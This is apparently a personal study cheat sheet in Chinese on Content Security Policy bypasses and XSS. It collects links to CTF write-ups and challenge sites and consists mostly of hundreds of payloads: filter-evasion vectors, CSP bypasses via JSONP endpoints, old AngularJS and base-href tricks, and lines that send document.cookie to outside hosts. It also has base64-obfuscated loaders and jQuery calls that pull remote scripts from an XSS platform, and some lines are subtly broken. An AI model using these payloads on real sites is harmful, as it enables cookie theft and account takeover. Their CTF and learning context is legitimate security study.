csp防护与绕过

个人也是先看ctf-xss题型,再回过头来看csp的,掌握更深一点再总结,个人先把简单的csp归纳一下

1.跨域的问题

2.csp的绕过与防护

3.通过一些特定的网址进行payload的积累

4.ctf中绕过csp进行xss的payload积累

5.一些简单的xss过滤与绕过

6.最终的个人xss备忘录

一. 跨域的问题

参考:https://xz.aliyun.com/t/4470

记录原文一些知识点:

修改document.domain规定同源
如果某个子域为了和根域通信,根域设置了document.domain为根域,那么其他子域如果有xss漏洞可以直接跨同源攻击根域和同样设置了document.domain的其他子域
windows.name 一直存储共享数据,不受同源限制
所以,永远不要把敏感数据存在window.name中,否则敏感数据可以被任何其他网页的JS脚本获取
location.hash
PostMessage 如果事件监听没有判断事件的来源,则会有很大的安全隐患


window.Function;
window.eval;
window.alert;
window.XMLHttpRequest;
window.Proxy;
window.Image;
window.postMessage;

二. csp的绕过与防护

目前常看到的有iframe和meta以及svg标签绕过,其中iframe用的格外的多

常用的特例套路还有有浏览器的补全,前后代码的补全,base href

还有一些特别的知识,白名单,jsonp绕过,css,不安全js库等,还有比较牛的cdn低版本js库绕过

跨域产生的问题     https://xz.aliyun.com/t/4470
CSP绕过思路及总结 https://xz.aliyun.com/t/5084
白名单网址绕过csp https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/jsonp.js#L32-L180
csp策略及绕过方法 https://www.jianshu.com/p/f1de775bc43e
不错的小结 https://www.cnblogs.com/alisecurity/p/5970649.html?utm_source=itdadao&utm_medium=referral


一些csp特例利用:
https://www.anquanke.com/post/id/151496
https://wenku.baidu.com/view/dca3cd3477232f60dccca135.html 给开发者的终极XSS防护备忘录
https://www.test404.com/post-1038.html?wafcloud=1
https://nosec.org/home/detail/2087.html 如何绕过Chrome 63.0版本的CSP


child-src
connect-src
font-src
img-src
media-src
object-src
script-src
style-src
'none'
代表空集;即不匹配任何 URL。两侧单引号是必须的。
'self'
代表和文档同源,包括相同的 URL 协议和端口号。两侧单引号是必须的。
'unsafe-inline'
允许使用内联资源,如内联的<script>元素、javascript: URL、内联的事件处理函数和内联的<style>元素,两侧单引号是必须的。
'unsafe-eval'
允许使用 eval() 等通过字符串创建代码的方法。两侧单引号是必须的。
data:
允许data: URI作为内容来源。
mediastream:
允许mediastream: URI作为内容来源。

三.通过一些特定的网址进行payload的积累

1.https://paper.seebug.org/423/

<script>alert(1)</script>
<img src=1 onerror=alert(1)>
<svg onload=alert(1)>
on\w+=
script
svg
iframe
link
<link rel="prefetch" href="http://ip"> (H5预加载)(only chrome)
<link rel="dns-prefetch" href="http://ip"> (DNS预加载)
//  js生成link prefetch
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "//ssssss.com/?" + document.cookie);
document.head.appendChild(n0t);
//跳转:
<script>location.href=http://lorexxar.cn?a+document.cookie</script>
<script>windows.open(http://lorexxar.cn?a=+document.cooke)</script>
<meta http-equiv="refresh" content="5;http://lorexxar.cn?c=[cookie]">

2.https://xz.aliyun.com/t/5084(建议看看原文)

//一个同源站点内存在两个页面,一个页面存在CSP保护,另一个页面没有CSP保护且存在XSS漏洞,我们需要的数据在存在CSP保护的页面
<!-- B页面 -->
<!-- 下面模拟XSS -->
<body>
<script>
var iframe = document.createElement('iframe');
iframe.src="A页面";
document.body.appendChild(iframe);
setTimeout(()=>alert(iframe.contentWindow.document.getElementById('flag').innerHTML),1000);
</script>
</body>
//cdn低版本js库绕过
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://cdnjs.cloudflare.com;">
<!-- foo="-->
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
</script>
<div ng-app>
    {{constructor.constructor('alert(document.cookie)')()}}
</div>

//可控静态资源
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://www.google-analytics.com">
<script src="https://www.google-analytics.com/gtm/js?id=GTM-PJF5W64"></script>
可控jsonp
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src https://www.google.com">
<script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert"></script>
//base_ip
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-test'">
<base href="//vps_ip/">
<script nonce='test' src="2.js"></script>
不完整script标签绕过nonce
重点***
object-src绕过(PDFXSS)
SVG绕过
不完整的资源标签获取资源
CSS选择器获取内容
CRLF绕过

四. ctf中绕过csp进行xss的payload积累

https://www.jianshu.com/p/6ea6a63dc5c8
https://xz.aliyun.com/t/1589/

hctf2017 web 有两个xss的实例

<iframe srcdoc=&lt;s&#99ript/src=//auth.2017.hctf.io/getmessage.php?callback=open(`//zzm.fun?c=`%2bdocument.cookie)&gt&lt/s&#99ript&gt>
// 有report bug,有message,有csp

注册一个xxx账号
修改xxx的message为payload
通过report功能使得admin访问某个页面
某个页面打开子窗口为xxx的属性页
等待触发RandomProfile中的UpdateProfile,便可修改父窗口

<!DOCTYPE html>
<html>
<head>
<title>test</title>
</head>
<body>
<script type="text/javascript">
window.open("http://desert.2017.hctf.io/edit.php?callback=RandomProfile&user=xxx",'','width=600,height=600');
window.location="http://desert.2017.hctf.io/user.php";
</script>
</body>
</html>

2.0ctf 2017 web有两个实例

https://ctftime.org/writeup/5956 simple xss
https://www.cdxy.me/?p=764 complicated xss
https://www.cnblogs.com/iamstudy/articles/0ctf_2017_web_writeup.html
http://www.wupco.cn/?p=2554
https://blog.csdn.net/qq_19876131/article/details/64125711

complicated xss
前台提交XSS代码1,在government.vip域内触发XSS,向Cookie的username字段插入XSS代码2,然后跳转到admin.government.vip使Cookie中的XSS代码2触发,利用<script>标签在admin.government.vip执行外域的XSS代码3,打回以admin身份读取到的http://admin.government.vip:8000/页面内容。
simple xss(https://ctftime.org/writeup/5956)
其中是\\,而不是//,html标签中可用//替代http://,但是这里为啥可用\\,因为\\在windows下会是file协议,在linux下才会是当前域的协议
中文的。,浏览器会自动转换为.
<svg><scscriptript>window.locatioonn=“http://xxx.com/cookie.php?cookie=“%26%2343%3Bescape(document.cookie);</scscriptript></svg>
<script>
location.href='http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/user%0d%0aX-XSS-Protection:0%0d%0aContent-Length:200%0d%0a%0d%0a%3Cscript%20src%3dhttp://118.24.185.108/c.js?1541913080%3E%3C/script%3E';
</script>

3.TCTF/0CTF2018 XSS 三种实例方法

https://paper.seebug.org/574/ 这个是真的强,当学习完上面的知识再回过头看这篇,受益匪浅

变量覆盖+动态插入Script标签绕过strict-dynamic   (https://blog.csdn.net/weixin_33921089/article/details/89628737    复现0ctf blog)
过Script Gadgets和postmessage中间人来实现利用
Appcache以及Service worker配合jsonp接口实现的利用思路

五.一些简单的xss过滤与绕过

一些xss的关卡

1.https://www.cnblogs.com/bmjoker/p/9446472.html(内有源码分析)

<svg/onload=alert(1)>
" onclick="alert(1)
" onmouseover="alert(1)>
' onmouseover='alert(1)
" onfocus=alert(1) autofocus="
" onclick=alert(1) //
"><iframe src=javascript:alert(1)>
"> <a href="javascript:alert(1)">bmjoker</a>
"> <a href="javascript:%61lert(1)">bmjoker</a> //
"> <Script>alert(1)</script> //
js代码中可编码():
javascrip&#x74;:alert(1)
javascript:%61lert(1)
javasc&#x72;ipt:alert`1`
javasc&#x0072;ipt:alert`1`
javascrip&#x74;:alert(1)//http://xxx.com //利用注释
javascrip&#x74;:%0dhttp://xxx.com%0dalert(1) //不利用注释
javascrip&#x74;:%0ahttp://xxx.com%0daalert(1) //不利用注释
隐藏属性:
keyword = test&t_sort="type="text" onclick = "alert(1)
keyword = test&t_sort="type="text" onmouseover="alert(1)
keyword = test&t_sort="type="text" onmouseover=alert`1`
angular-js的ng-include有包含文件的意思
src='level1.php?name=<img src=x onerror=alert(1)>
大小写绕过失效,script , / , ,等都被转换成&nbsp,我们可以用%0d,%0a等绕过:
<img%0Dsrc=1%0Donerror=alert(1)>
<iframe%0asrc=x%0donmouseover=alert`1`></iframe>
<svg%0aonload=alert`1`></svg>

arg01=123&arg02= onmouseover=alert(1)
arg01=123&arg02=%20onmousedown=alert`1`
arg01=123&arg02= onmouseover=alert(1) type="text"


1、大小写绕过
<ScRIpT>alert('123')</sCRIpT>
2、编码绕过
1.十六进制编码
2.jsfuck编码
3.url编码
4.unicode编码
<0x736372697074>alert('123')</0x736372697074>
<img src="1" onerror="alert&#x28;1&#x29;">
3、绕过magic_quotes_gpc
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script>
4、标签
闭合标签
"><script>alert(/123/)</script>
</script><script>alert(1)</script>
标签绕过
<img src="x" onerror="alert(1)">
<button onclick="javascript:alert('xss')>XSS</button">
<title><img a="</title><img/src=1 onerror=alert(1)//">
"onsubmit=javascript:alert(1)%20name="a
<details open ontoggle="eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))">
<video src="http://www.0dutv.com/plug/down/up2.php/104678898.mp3" onprogress=(′body′).prepend(123);
('body')></video>
5、其他符号绕过
%0a 替换空格
%0d 替换空格
/**/ 替换空格
%00 截断
`` 替换括号
6、双字符绕过
<img ononerrorerror="123">
<script>alalertert(123)</script>
7、宽字节绕过
gbxxxx系列的编码,那么我们尝试一下宽字节 %c0,%bf,%5c,%df
8、其他事件绕过
onload
onclick
onerror
prompt
confirm
onmousemove
9、CRLF injection绕过
CRLF是”回车 + 换行”(\r\n)的简称。
http://www.xxx.com%0d%0a%0d%0a<svg/onload=prompt(1)>

2.https://www.cnblogs.com/r00tuser/p/7413526.html

"</b><svg/onload=alert(document.domain)>
" onmouseover=alert(document.domain)>
"><svg/onload=alert(document.domain)>%0a 
javascript:伪协议在a标签的使用 javascript:alert(document.domain)
利用utf-7编码的,需要环境是IE 7:
" onmouseover=alert(document.domain)>
+/v8 +ACI- onmouseover=alert(d+AG8AYw-u+AG0-en+AHQALg-d+AG8AbQBh-in)+AD4-
尝试用tab制表(%09),换行(%0a,%0d,%0a%0d)等符号都不行。
%09也就是tab制表符,使用在单个标签之内,会被浏览器`正确`去除,而在跨标签的时候(也就是闭合前面原有标签,使用在构造者构造的新标签的时候)不会被正确去除。也仅仅是%09,其十进制编码和十六进制编码都不会受影响。
后面测试发现%0a和%0d一样受到影响。
"><a href=javascri%09pt:alert(1)>test</a> 不行
javascri%09pt:alert(1)
"><a href=javascri&#09pt:alert(document.domain)>test</a> //&#09 tab制表符html十进制编码
"><a href=javascri&NewLine;pt&colon;alert(document.domain)>test</a> //&NewLine;是html5的换行符,&colon;是冒号
IE下 ~~ 可以用
style attribute xss:expr/*XSS*/ession(alert(document.domain));
\x3csvg\x2fonload=alert(document.domain)\x3e 
\\u003cimg src=x onerror=alert(document.domain)\\u003e
因为是在js范畴,document.write在输出的时候会JavascriptDecode一下数据,会把数据原有\去除,即php里面的stripslashes
把\\x 替换成了\\\\x,但是js编码又不止16进制,还有八进制,unicode编码
八进制:\\74img src=x onerror=alert(document.domain)\\76

3.https://alf.nu/alert1

教程:

https://blog.csdn.net/he_and/article/details/79672900
http://www.bubuko.com/infodetail-1591286.html
https://blog.csdn.net/taozijun/article/details/8100435
https://www.cnblogs.com/renzongxian/p/5617551.html  **15关
http://www.naivete.online/2018/07/xss%e8%bf%87%e5%85%b3%e7%bb%83%e4%b9%a0/

4.https://xss.haozi.me https://github.com/haozi/xss-demo

参考:

https://comicalt.github.io/2018/08/13/xss/
https://www.cnblogs.com/sunshq/p/6872914.html


<div><script>alert(1)</script></div>
<textarea></textarea><script>alert(1)</script></textarea>
<input type="name" value=""><script>alert(1)</script>//<"">
<script>alert`1`</script>
<svg><script>alert&#40;1&#41;</script> <svg>标签中可以直接执行实体字符 。把()转成unicode
<!-- --!><script>alert(1)</script> -->
用换行可以绕过正则 :
type=image src onerror
=alert(1)
<input value=1 type=image src onerror
=alert(1) type="text">
<article><img src="" onerror ="alert(1)"</article>
<style>
</style ><script>alert(1)</script>
</style>

<script src="https://www.segmentfault.com "></script><script img src="" onerror ="alert(1)"></script>
<script src="https://www.segmentfault.com img src="" onerror ="alert(1)"></script>

https://www.segmentfault.com.haozi.me/j.js
<script src="https://www.segmentfault.com.haozi.me/j.js"></script>


//可以用换行来绕过 而换行后还有一个')这里我们可以用-->对后面的代码进行注释从而保证前面的代码正常运行
alert(1)
-->
<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>
从代码块可以看出过滤了很多符号,但是&#39;解码后任然是'也就是说这个过滤是不起作用的
而xss代码块的位置是console.error('')中,因此可以通过闭合来绕过


5.阿里xss挑战赛

http://blackwolfsec.cc/2017/08/30/alixss/ 源码
http://phantom0301.cc/2017/08/30/alixss/
https://seaii-blog.com/index.php/2017/09/10/69.html
https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html 浏览器阻断

六.最终的个人xss备忘录

1.
http://www.naivete.online/2018/10/%e5%89%8d%e7%ab%af%e9%bb%91%e5%ae%a2%e8%af%bb%e5%90%8e%e6%84%9f%e5%86%8d%e6%8e%a2%e7%a9%b6%ef%bc%88xss%e5%a7%bf%e5%8a%bf%ef%bc%89/
http://www.naivete.online/2019/07/csp%e9%98%b2%e6%8a%a4%e4%b8%8e%e7%bb%95%e8%bf%87/
https://www.cnblogs.com/xiaozi/p/5588099.html
<script>location.href=http://lorexxar.cn?a+document.cookie</script>
<script>windows.open(http://lorexxar.cn?a=+document.cooke)</script>
<meta http-equiv="refresh" content="5;http://lorexxar.cn?c=[cookie]">
<body onload=eval(“document.body.appendChild(document.createElement('img')).setAttribute('src','alert(1)')></body>
<svg/onload=alert``>
<body onload="alert('xss')"></body>
 <input onfocus="alert('1')" autofocus/>
<input onfocus="alert('1')" autofocus/>
<iframe src="./alert.html"></iframe>
<script src="./alert.js"></script>
 <iframe src="data:text/html,<script src="alert.html"></script>"></iframe>
 <script src="data:text/html,alert('1')"></script>
 <script src="data:text/html;base64,YWxlcnQoJzEnKQ=="></script>
 <script src="data:text/html,alert('1')"></script>
<a href="javascript:alert(1)">bmjoker</a>
<a href="javascript:%61lert(1)">bmjoker</a>
<a href="javascript:alert(1)">bmjoker</a>
javascript:alert`1`
<a href="javascript:alert`1`">bmjoker</a>
javascript:alert(1)//http://xxx.com  //利用注释
javascript:%0dhttp://xxx.com%0dalert(1)  //不利用注释
javascript:%0ahttp://xxx.com%0daalert(1)  //不利用注释
src='level1.php?name=<img src=x onerror=alert(1)>       angular-js的ng-include有包含文件的意思
<img src="1" onerror="alert(1)">
<title><img a="</title><img/src=1 onerror=alert(1)//">
<details open ontoggle="eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))">
<a href=javascri&#09pt:alert(document.domain)>test</a>
<a href=javascri
pt:alert(document.domain)>test</a>
<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<svg onload=prompt(/xss/)>
<a href=javascript:eval("alert('xss')")>xss</a>
2.
http://xssye.com平台的一些payload
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='ip';>
<sCRiPt/SrC=//xxxx.com/xx>
<script/src=http://xxx.com/xx></script>
<dEtails/oPen/oNtogglE=s=createElement('script'.replace('m',''));body.appendChild(s);s.src=http://xxx.com/xx>
<img src=x onerror=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPWh0dHA6Ly94c3N5ZS5jb20vd1BmNytNYXRoLnJhbmRvbSgp'))>
</textarea><object data="data:text/html;base64,PHNDcklwVCBzcmM9aHR0cDovL3hzc3llLmNvbS93UGY3Pjwvc0NySXBUPg=="></object>
</textarea><iframe src="data:text/html;base64,PHNDcklwVCBzcmM9aHR0cDovL3hzc3llLmNvbS93UGY3Pjwvc0NySXBUPg=="></iframe>
<svg/onload=document.body.appendChild(document.createElement(/script/.source)).src='http://xssye.com/wPf7'>
 如果对方使用了jquery插件 (突破对"script"的限制)
</textarea><img  onerror="$(function() { var s=unescape('%3cscr'+'ipt '+'src=http://xssye.com/wPf7' +'%3e'+'%3c%2fscr'+'ipt'+'%3e'); $('body').append(s) })" src='1'>
"/> </p> </span> <img src=1 onerror=$.get('http://xssye.com/wPf7')>
<script>eval($.get('http://xssye.com/wPf7'))</script>
<script>$.getScript('http://xssye.com/wPf7')</script>
</span><img src=1 onerror="s=createElement('script');s.src='('http://xssye.com/wPf7')';body.appendChild(s)">

2019.7.11